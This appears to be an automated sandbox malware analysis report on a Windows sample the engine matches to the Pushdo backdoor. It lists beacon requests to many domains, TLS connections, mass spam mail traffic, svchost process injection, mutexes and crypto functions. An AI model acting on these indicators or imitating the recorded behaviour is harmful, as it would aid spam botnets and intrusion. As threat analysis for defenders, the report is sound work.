Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: nts-web.netContent-Length: 3856
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: dataform.co.uk
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: hyab.se
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: orlyhotel.comCookie: django_language=en
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: clinicasanluis.com.co
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: pleszew.policja.gov.pl
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.diamir.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: techtrans.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: www.muhr-soehne.de
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: *Accept-Language: en-usConnection: keep-aliveUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Cache-Control: no-cacheHost: sigtoa.com

Source: unknown	HTTPS traffic detected: 172.67.156.49:443 -> 192.168.2.6:50304 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.220:443 -> 192.168.2.6:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.6:50310 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.189.171.125:443 -> 192.168.2.6:50328 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.201.65.187:443 -> 192.168.2.6:50353 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.6:50343 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.6:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.156.49:443 -> 192.168.2.6:50341 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50342 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.201.65.187:443 -> 192.168.2.6:50436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50523 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.207:443 -> 192.168.2.6:50525 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.223.113.46:443 -> 192.168.2.6:50527 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.6:50524 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.6:50827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:50893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.223.113.46:443 -> 192.168.2.6:52593 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:52635 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:52650 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.201.65.187:443 -> 192.168.2.6:52648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.189.171.125:443 -> 192.168.2.6:52950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.6:52125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.220:443 -> 192.168.2.6:53132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.189.171.125:443 -> 192.168.2.6:53263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.6:52653 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.223.113.46:443 -> 192.168.2.6:53355 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.6:53389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.201.65.187:443 -> 192.168.2.6:53348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.201.65.187:443 -> 192.168.2.6:53332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.6:53391 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.201.65.187:443 -> 192.168.2.6:53917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.6:53642 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:54274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.6:53695 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.6:54014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:54830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.201.65.187:443 -> 192.168.2.6:54841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.6:54938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.156.49:443 -> 192.168.2.6:55016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.229.22.126:443 -> 192.168.2.6:55461 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.237.66.112:443 -> 192.168.2.6:55685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.220:443 -> 192.168.2.6:56976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.212.235.175:443 -> 192.168.2.6:58790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:2059 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 50

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_04008800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_04008800
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_04008A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	0_2_04008A70
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_04008970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	0_2_04008970
Source: C:\Users\user\pigalicapi.exe	Code function: 2_2_04008800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	2_2_04008800
Source: C:\Users\user\pigalicapi.exe	Code function: 2_2_04008A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	2_2_04008A70
Source: C:\Users\user\pigalicapi.exe	Code function: 2_2_04008970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	2_2_04008970
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_04008800 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptGenKey,CryptExportKey,CryptImportKey,CryptExportKey,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	6_2_04008800
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_04008A70 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptImportKey,CryptDecrypt,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	6_2_04008A70
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_04008970 CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptImportKey,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	6_2_04008970

Source: iJzpyjAehB.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_02370000	0_2_02370000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0400B935	10_2_0400B935
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_040072C4	10_2_040072C4

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_00401479 LdrFindResource_U,LdrAccessResource,NtAllocateVirtualMemory,	0_2_00401479
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_0040140E ZwOpenSymbolicLinkObject,ZwOpenSymbolicLinkObject,	0_2_0040140E
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_00401479 LdrFindResource_U,LdrAccessResource,NtAllocateVirtualMemory,	6_2_00401479
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_0040140E ZwOpenSymbolicLinkObject,ZwOpenSymbolicLinkObject,	6_2_0040140E

Source: iJzpyjAehB.exe	Static PE information: Number of sections : 18 > 10
Source: pigalicapi.exe.0.dr	Static PE information: Number of sections : 18 > 10

Source: iJzpyjAehB.exe	ReversingLabs: Detection: 52%
Source: iJzpyjAehB.exe	Virustotal: Detection: 23%

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

File read: C:\Users\user\Desktop\iJzpyjAehB.exe

Jump to behavior

Source: iJzpyjAehB.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\iJzpyjAehB.exe C:\Users\user\Desktop\iJzpyjAehB.exe
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
Source: unknown	Process created: C:\Users\user\pigalicapi.exe "C:\Users\user\pigalicapi.exe"
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\SysWOW64\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@33/4@1944/100

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_04001CA0 CreateToolhelp32Snapshot,Process32First,GetCurrentProcessId,Process32Next,Process32First,lstrlenA,lstrcpyA,OpenProcess,EnumProcessModules,K32EnumProcessModules,GetModuleFileNameExA,GetProcessImageFileNameA,K32GetProcessImageFileNameA,FindCloseChangeNotification,Process32Next,CloseHandle,

0_2_04001CA0

Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\zczoiir65502
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Mutant created: \Sessions\1\BaseNamedObjects\pigalicapi
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\rjsfitz60229
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\pvoaiwz6588

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\pigalicapi.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_00428358 push edx; ret	0_2_0042838B
Source: C:\Users\user\Desktop\iJzpyjAehB.exe	Code function: 0_2_00423123 push esi; retf 0006h	0_2_00423124
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_00428358 push edx; ret	6_2_0042838B
Source: C:\Users\user\pigalicapi.exe	Code function: 6_2_00423123 push esi; retf 0006h	6_2_00423124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_04009D2D push ecx; ret	10_2_04009D40

Source: iJzpyjAehB.exe	Static PE information: section name: /4
Source: iJzpyjAehB.exe	Static PE information: section name: /19
Source: iJzpyjAehB.exe	Static PE information: section name: /35
Source: iJzpyjAehB.exe	Static PE information: section name: /51
Source: iJzpyjAehB.exe	Static PE information: section name: /63
Source: iJzpyjAehB.exe	Static PE information: section name: /77
Source: iJzpyjAehB.exe	Static PE information: section name: /89
Source: iJzpyjAehB.exe	Static PE information: section name: /102
Source: iJzpyjAehB.exe	Static PE information: section name: /113
Source: iJzpyjAehB.exe	Static PE information: section name: /124
Source: pigalicapi.exe.0.dr	Static PE information: section name: /4
Source: pigalicapi.exe.0.dr	Static PE information: section name: /19
Source: pigalicapi.exe.0.dr	Static PE information: section name: /35
Source: pigalicapi.exe.0.dr	Static PE information: section name: /51
Source: pigalicapi.exe.0.dr	Static PE information: section name: /63
Source: pigalicapi.exe.0.dr	Static PE information: section name: /77
Source: pigalicapi.exe.0.dr	Static PE information: section name: /89
Source: pigalicapi.exe.0.dr	Static PE information: section name: /102
Source: pigalicapi.exe.0.dr	Static PE information: section name: /113
Source: pigalicapi.exe.0.dr	Static PE information: section name: /124

Source: C:\Users\user\Desktop\iJzpyjAehB.exe

Code function: 0_2_10001030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError,

0_2_10001030

Persistence and Installation Behavior

Yara detected Backdoor Pushdo

Source: Yara match	File source: 2.2.pigalicapi.exe.4000000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.10004088.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.10004088.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2260000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2261e88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2260000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.10004088.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2380000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.svchost.exe.4000000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.4000000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.2261e88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.svchost.exe.4000000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.10004088.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.10004088.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2381e88.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e1e88.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.pigalicapi.exe.7e1e88.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.pigalicapi.exe.4000000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.iJzpyjAehB.exe.2380000.4.unpack, type: UNPACKEDPE
